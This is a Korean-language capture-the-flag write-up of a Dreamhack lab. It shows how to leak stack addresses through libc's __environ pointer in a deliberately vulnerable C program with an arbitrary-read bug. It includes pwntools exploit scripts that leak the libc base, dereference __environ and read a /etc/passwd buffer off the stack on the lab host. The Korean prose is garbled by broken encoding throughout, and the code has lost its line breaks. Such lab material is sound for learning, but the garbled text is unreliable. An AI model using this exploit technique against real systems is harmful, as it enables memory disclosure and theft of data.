Exploit Tech: __environ
ํ๋ก๊ทธ๋จ์์ ๋ฆฌํด ๋ช ๋ น์ด๋ฅผ ์ํํ๋ฉด lib์ ์ธ์์์ ๋ค์ํ ํจ์ ํธ์ถ!
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354 // Name: environ.c// Compile: gcc -o environ environ.c#include <fcntl.h>#include <stdio.h>#include <unistd.h>#include <signal.h>#include <stdlib.h>void sig_handle() {exit(0);}void init() {setvbuf(stdin, 0, 2, 0);setvbuf(stdout, 0, 2, 0);signal(SIGALRM, sig_handle);alarm(5);}void read_file() {char file_buf[4096];int fd = open("/etc/passwd", O_RDONLY);read(fd, file_buf, sizeof(file_buf) - 1);close(fd);}int main() {char buf[1024];long addr;int idx;init();read_file();printf("stdout: %p\n", stdout);while (1) {printf("> ");scanf("%d", &idx);switch (idx) {case 1:printf("Addr: ");scanf("%ld", &addr);printf("%s", (char *)addr);break;default:break;}}return 0;}cs
ํ๋ก์ธ์ค๋ ํ๊ฒฝ ๋ณ์ ์ ๋ณด๋ฅผ ์ ์ฅํ๊ณ , ํ์ํ ๋๋ง๋ค ๋ถ๋ฌ์ ์ฌ์ฉํฉ๋๋ค.
์ด๋ฒ์ lib ํจ์์์ ์ฐธ์กฐํ๋ ํ๊ฒฝ ๋ณ์ ํฌ์ธํฐ์ ๊ด๋ จ๋ ๊ณต๊ฒฉ์ ์ค์ตํฉ์๋ค.
/etc/passwd ํ์ผ์ ๋ด์ฉ์ ์ฝ๊ณ ์คํ ๋ฒํผ์ ์ ์ฅํ๋๊ตฐ์
๋ฉ์ธ ํจ์์์๋ stdout ๋ผ์ด๋ธ๋ฌ๋ฆฌ ์ฃผ์๋ฅผ ์ถ๋ ฅํ๊ณ , ๋ฐ๋ณตํด ์์ ์ฃผ์์ ์๋ ๊ฐ์
์ฝ์ ์ ์๋ ์ทจ์ฝ์ ์ด ์กด์ฌํฉ๋๋ค.
ํ๊ฒฝ ๋ณ์
๋ชจ๋ ๋ณดํธ๊ธฐ๋ฒ์ด ์กด์ฌํ๊ธฐ์ ๋ชจ๋ OS๊ฐ ์ฌ์ฉํ๋ ํ๊ฒฝ๋ณ์(environment ariable)๋
๋งค๋ฒ ๋ณํ ์ ์๋ ๋์ ์ธ ๊ฐ๋ค์ ๋ชจ์์ผ๋ก, ์์คํ
์ ์ ๋ณด๋ฅผ ๊ฐ๊ณ ์๋ ๋ณ์์
๋๋ค.
์ด๋ ์ฌ์ฉ์๊ฐ ์ง์ ์ถ๊ฐ ๋ฐ ์์ ํ๊ฑฐ๋ ์ญ์ ํ ์ ์๋ ๊ฐ์
๋๋ค. ๋ฆฌ๋
์ค์์ ์ ๊ณตํ๋ ๋ช
๋ น์ด๋ค์
'/bin', '/usr/bin'๋ฑ์ ๋๋ ํฐ๋ฆฌ์ ์์นํฉ๋๋ค. ์ฐ๋ฆฌ๊ฐ ๋ช
๋ น์ด๋ฅผ ์
๋ ฅํ๋ฉด ํ๊ฒฝ ๋ณ์์ ๋ช
์๋
dir์์ ๋ช
๋ น์ด๋ฅผ ํ์, ์คํํ๊ธฐ ๋๋ฌธ์ ๋ช
๋ น์ด์ ๊ฒฝ๋ก๋ฅผ ์
๋ ฅํ์ง ์์๋ ๋ฉ๋๋ค.
ํ๊ฒฝ ๋ณ์๋ ํฐ๋ฏธ๋ ๋ฟ๋ง ์๋๋ผ ํ๋ก๊ทธ๋จ์์๋ ์ฐธ์กฐ๋๊ธฐ์ ํ๋ก๊ทธ๋จ์์๋
๋ช
๋ น์ด๋ฅผ ์คํํ๋ ๊ฒฝ์ฐ๊ฐ ์ข
์ข
์์ผ๋ฉฐ, ์ ๋ ๊ฒฝ๋ก๋ฅผ ์
๋ ฅ X ๋ช
๋ น์ด ์คํ ๊ฐ๋ฅ!
์ด ๋ํ ํ๋ก์ธ์ค๋ฅผ ๋ก๋ํ๋ฉด์ ํ๊ฒฝ ๋ณ์๋ฅผ ์ด๊ธฐํ ํ๊ธฐ ๋๋ฌธ์
๋๋ค.
๋ฆฌ๋ ์ค ๋ฐ์ด๋๋ฆฌ๋ฅผ ๊ณต๊ฒฉํ ๋ ์ํฉ์ ๋ฐ๋ผ ์คํ ์ฃผ์๋ฅผ ์์๋ด์ผ ํ ๋๊ฐ ์ข ์ข ์์ต๋๋ค.
๊ทธ๋ฌ๋ ๊ธฐ๋ณธ์ ์ผ๋ก ๋ฆฌ๋ ์ค ๋ฐ์ด๋๋ฆฌ๋ ์คํ ์ฃผ์๋ฅผ ํฌํจํ์ง ์๊ธฐ ๋๋ฌธ์ ๋ช ๋ น์ด์ ๊ฒฝ๋ก ์ ๋ ฅ X ๋๋ฌธ์ ์คํ ์ฃผ์๋ฅผ ์ ์ญ ๋ณ์์ ์ ์ฅํ๋ ์ฝ๋๊ฐ ์์ง ์๋ ํ ๋ฐ์ด๋๋ฆฌ ์ฃผ์ ๋ด์์ ์คํ ์ฃผ์๋ฅผ ์ฐพ๋ ๊ฒ์ ๋ถ๊ฐ๋ฅํฉ๋๋ค. ํ๊ฒฝ๋ณ์์ ๋ํ ์ ๋ณด๋ ์คํ ์์ญ์ ์กด์ฌํ๋ฉฐ, ๋ผ์ด๋ธ๋ฌ๋ฆฌ ํจ์๋ฅผ ์คํํ ๋์๋ ํด๋น ์ ๋ณด๋ฅผ ์ฐธ์กฐํ๊ธฐ ๋๋ฌธ์ ํ๊ฒฝ ๋ณ์๋ฅผ ๊ฐ๋ฆฌํค๋ ํฌ์ธํฐ๊ฐ ๋ณ๋๋ก ์ ์ธ๋์ด ์์ต๋๋ค.
๋ฐ๋ผ์, ํด๋น ๋ผ์ด๋ธ๋ฌ๋ฆฌ ์ฃผ์๋ฅผ ์๊ณ ์๊ณ , ์์์ ์ฃผ์๋ฅผ ์ฝ์ ์ ์๋ ์ทจ์ฝ์ ์ด ์๋ค๋ฉด ์คํ ์ฃผ์๋ฅผ ์์๋ผ ์ ์์ต๋๋ค.
__environ
์ ์ด๋ฏธ์ง๋ฅผ ๋ณด์๋ฉด libc.so.6(docker์์ ํ์ธ ํ ์ ์๋๊ฑฐ ๊ฐ์๋ฐ ๋์ปค ํ๊ฒฝ ๊ตฌ์ถ ๋ฐ ๊ธฐํ ๊ณต๋ถ.. ใ
)
environ ์ฌ๋ณผ์ ์ฐพ๋ ๋ช
๋ น์ด๋ฅผ ์คํํ ๋ชจ์ต์
๋๋ค.
์คํ ๊ฒฐ๊ณผ๋ฅผ ์ดํด๋ณด๋ฉด, __environ์ด๋ผ๋ ์ด๋ฆ์ ์ ์ญ ๋ณ์๊ฐ ์กด์ฌํฉ๋๋ค.
์ด๋ ์์คํ
๋ช
๋ น์ด๋ฅผ ์คํํ๊ธฐ ์ํ execve ๊ณ์ด์ ํจ์์ getenv ๋ฑ ํ๊ฒฝ๋ณ์์ ๊ด๋ จ๋ ํจ์ ์ฐธ์กฐ ๋ณ์๋ก
๊ทธ๋ ๋ค๋ฉด, ์์ ์ปดํ์ผ ํ ์์ ๋ฅผ ๋๋ฒ๊น
ํ์ฌ ํด๋น ํฌ์ธํฐ์ ์ด๋ค ์ฃผ์๊ฐ ์๋์ง ํ์ธํด๋ด
์๋ค.
__environ ํฌ์ธํฐ์ ์ฃผ์๋ฅผ ํ์ธํ๊ณ , ํด๋น ์ฃผ์๊ฐ ๊ฐ๋ฅดํค๋ ์์ญ์ ํ์ธํ ๊ฒฐ๊ณผ์
๋๋ค.
์ด๋ ๋๋ธ ํฌ์ธํฐ(!)๋ก, ๊ฐ ํ๊ฒฝ ๋ณ์ ๋ฌธ์์ด์ด ํฌํจ๋ ์ฃผ์๋ฅผ ๊ฐ๊ณ ์๋ ๊ฒ์ ํ์ธํ ์ ์์ผ๋ฉฐ,
ํด๋น ์ฃผ์๋ฅผ vmmap ๋ช
๋ น์ด๋ก ํ์ธํ ๊ฒฐ๊ณผ ์คํ ์์ญ์์ ์ ์ ์์ต๋๋ค.
๋ง์ฝ, ๋ผ์ด๋ธ๋ฌ๋ฆฌ ์ฃผ์๋ฅผ ์๊ณ ์๊ณ , ํด๋น ์ฃผ์๋ฅผ ์ฝ์ ์ ์๋ ์ทจ์ฝ์ ์ด ์๋ค๋ฉด..
์คํ ์ฃผ์๋ฅผ ๋ฆญํ๊ณ ๊ณต๊ฒฉ์ ์ด์ฉํ ์ ์์ต๋๋ค.
exploit ์ค๊ณ
__environ ์ฃผ์ ๊ณ์ฐ
์์ ์์ ์ ๊ณตํ stdout lib ํฌ์ธํฐ๋ฅผ ํตํด ๋ฒ ์ด์ค ์ฃผ์๋ฅผ ๊ณ์ฐํ๊ณ ,
__environ ํฌ์ธํฐ์ ์ฃผ์๋ฅผ ์์๋
๋๋ค. ์ด๋ ๊ฐ ์ฌ๋ณผ์ ์ฃผ์์ ์ฐ์ฐํ์ฌ ์ฝ๊ฒ ์ ์ ์์!
์คํ ์ฃผ์ ๊ณ์ฐ
__environ ์ฃผ์๋ฅผ ์์๋๋ค๋ฉด, ์์ ์ ์์ ์ฃผ์ ์ฝ๊ธฐ ์ทจ์ฝ์ ์ ํตํด ์คํ ์ฃผ์๋ฅผ ์์๋ด๊ณ ,
"/etc/passwd" ํ์ผ์ ๋ด์ฉ์ด ์ ์ฅ๋ ์คํ ๋ฒํผ์ ์ฃผ์๋ฅผ ๊ณ์ฐํฉ๋๋ค.
ํด๋น ์ฃผ์๋ ํ๊ฒฝ ๋ณ์์ ์๋์ ์ธ ๊ฑฐ๋ฆฌ๊ฐ ๋งค๋ฒ ๊ฐ์ผ๋ฏ๋ก, ๋๋ฒ๊น ์ ํตํด ์์๋ด ์๋ค.
ํ์ผ ๋ด์ฉ ์ฝ๊ธฐ
ํ์ผ์ ๋ด์ฉ์ ์ ์ฅํ๊ณ ์๋ ์คํ ๋ฒํผ ์ฃผ์๋ฅผ ์์๋๋ค๋ฉด,
์์ ์ฃผ์ ์ฝ๊ธฐ ์ทจ์ฝ์ ์ ํตํด ์คํ ๋ฒํผ๋ฅผ ์ถ๋ ฅํ์ฌ ํ์ผ์ ๋ด์ฉ์ ํ๋ํฉ๋๋ค
read_file() ํจ์์์ flag์ ์ด๊ณ ์ฝ๊ณ ์๊ธฐ์ stdout์ผ๋ก lib_base์ ์ด๋ฒ์ ๋ก๋๊ฐ ์๋
์คํ ์ธ์๋ฅผ ํตํด ์์๋ด
์๋ค. ์ ์ฝ๋๋ฅผ ๋ณด์๋ฉด ์์ ์ฃผ์ ์ฝ๊ธฐ ์ทจ์ฝ์ ์ด ์กด์ฌํ๋ฏ๋ก..
์ ๋ด์ฉ์ผ๋ก ๋ฐ๋ผ๊ฐ๋ค๋ฉด ์
ธ์ ํ๋ํ ์ ์์ต๋๋ค.
Exploit code
1. __environ ์ฃผ์ ๊ณ์ฐ
12345678910111213141516 # Name: environ.pyfrom pwn import *p = process("./environ")elf = ELF('/lib/x86_64-linux-gnu/libc.so.6')p.recvuntil(": ")stdout = int(p.recvuntil("\n"),16)libc_base = stdout - elf.symbols['_IO_2_1_stdout_']libc_environ = libc_base + elf.symbols['__environ']print(hex(libc_base))print(hex(libc_environ))p.interactive()cs
stdout ์ฃผ์๋ฅผ ํ๋ํ๊ณ , lib์์ ํด๋น ์ฌ๋ณผ์ ์ฃผ์๋ฅผ ์์๋ธ ๋ค lib_base๋ฅผ ์์๋ด๊ณ ,
์ดํ ์์ ์์๋ณธ __environ ํฌ์ธํฐ์ ์ฌ๋ณผ ์ฃผ์๋ฅผ ๋ํด ํด๋น ํฌ์ธํฐ๋ ๊ตฌํฉ์๋ค.
์ ์ฝ๋๋ pwn๋ฅผ ์ด์ฉํ์ฌ ๊ณ์ฐํ ๋ชจ์ต์ ๋๋ค.
2. stack address solve
__environ ์ฃผ์๋ฅผ ์์๋๋ค๋ฉด, ์์ ์ฃผ์ ์ฝ๊ธฐ ์ทจ์ฝ์ ์ ํตํด ์คํ ์ฃผ์๋ฅผ ๊ตฌํ๊ณ ,
์ด๋ฅผ ๊ธฐ๋ฐ์ผ๋ก ํ์ผ์ ๋ด์ฉ์ด ์ ์ฅ๋ ์คํ ๋ฒํผ์ ์ฃผ์๋ฅผ ์์๋ด์ผ ํฉ๋๋ค.
ํ์ผ ๋ด์ฉ์ด ์ ์ฅ๋ ์คํ ๋ฒํผ์ __environ ๋ณ์๊ฐ ๊ฐ๋ฅดํค๋ ์คํ ์ฃผ์์ ๊ฑฐ๋ฆฌ ๊ฐ๊ฒฉ์..
์๋ ์ด๋ฏธ์ง๋ฅผ ํตํด ํ์ธ ํ ์ ์์ต๋๋ค.
์ฐธ๊ณ ๋ก ๋ง์ง๋ง์(๋ ํ๊ฒฝ ๋ฌธ์ .. ์ด๊ฑฐ ๊ณผ์ ๋๋ธ ํ ๋ค์ ํ๋ฒ ์ ์ฒด์ ์ผ๋ก ํด๋ด์ผ๊ฒ ๋ค์ ใ
)
0x1538๋ก ๋์์ผํด์
๋๋จธ์ง๋ ์ด๋ฏธ์ง์์ ํ์ธํ ์ ์๊ธฐ์ ๋ค์์ผ๋ก ๋์ด๊ฐ์๋น
3. ํ์ผ ๋ด์ฉ ์ฝ๊ธฐ
๋ ์ฃผ์์ ๊ฐ๊ฒฉ์ ์์๋๋ค๋ฉด, __environ ์ฃผ์์์ ๋ ์ฃผ์์ ๊ฐ๊ฒฉ์ธ 0x1538์
๋บ ์ฃผ์๋ฅผ ์์ ์ฃผ์ ์ฝ๊ธฐ ์ทจ์ฝ์ ์ ํตํด ์ถ๋ ฅํฉ๋๋ค.
12345678910111213141516171819202122232425262728293031 # Name: environ.pyfrom pwn import *#p = process("./environ_exercise")p = remote('host3.dreamhack.games', 10123)elf = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)p.recvuntil(": ")stdout = int(p.recvuntil("\n"),16)libc_base = stdout - elf.symbols['_IO_2_1_stdout_']libc_environ = libc_base + elf.symbols['__environ']log.info(f'libc_base : {hex(libc_base)}')log.info(f'libc_environ : {hex(libc_environ)}')p.sendlineafter(">", "1")p.sendlineafter(":", str(libc_environ))p.recv(1)stack_environ = u64(p.recv(6).ljust(8, b"\x00"))#stack_environ = u64(p.recvuntil("\x7f").ljust(8, b"\x00"))file_content = stack_environ - 0x1538log.info(f'stack_environ: {hex(stack_environ)}')log.info(f'file_content {hex(file_content)}')p.sendlineafter(">", "1")p.sendlineafter(":", str(file_content))p.interactive()cs
์์๋ ์ฌ๊ธฐ์ ํ์ํ lib์ ์ฌ๋ณผ๊ฐ ๊ทธ๋ฆฌ๊ณ leak์ ๊ตฌํ ๋ชจ์ต์ด๋ฉฐ, ์์์ ์ค๋ช
ํ์ผ๋ฉฐ,
1๋ฒ์ ๋ฃ์ด์ ์ฃผ์ ๊ฐ์ lib_base๋ฅผ ๋ฃ์ผ๋ฉฐ ์ธ์์ ํฌ์ธํฐ์ ์์น์ ๊ทธ์ ์ ๊ตฌํ
/etc/passwd ํ์ผ์ offset์ ๊ฑฐ๋ฆฌ๋ฅผ ๋นผ์ ๊ตฌํ๋ค๋ฉด์
ํด๋น ๊ตฌํ ๋ ค๋ flag์ ํ์ผ์ ํฌ์ธํฐ์ ์์น ์ฆ, ํด๋น ํ์ผ์ ์ ์ ์์ต๋๋ค.
์ฐธ๊ณ ์๋ฃ
์ฐธ๊ณ ์ด๋ฏธ์ง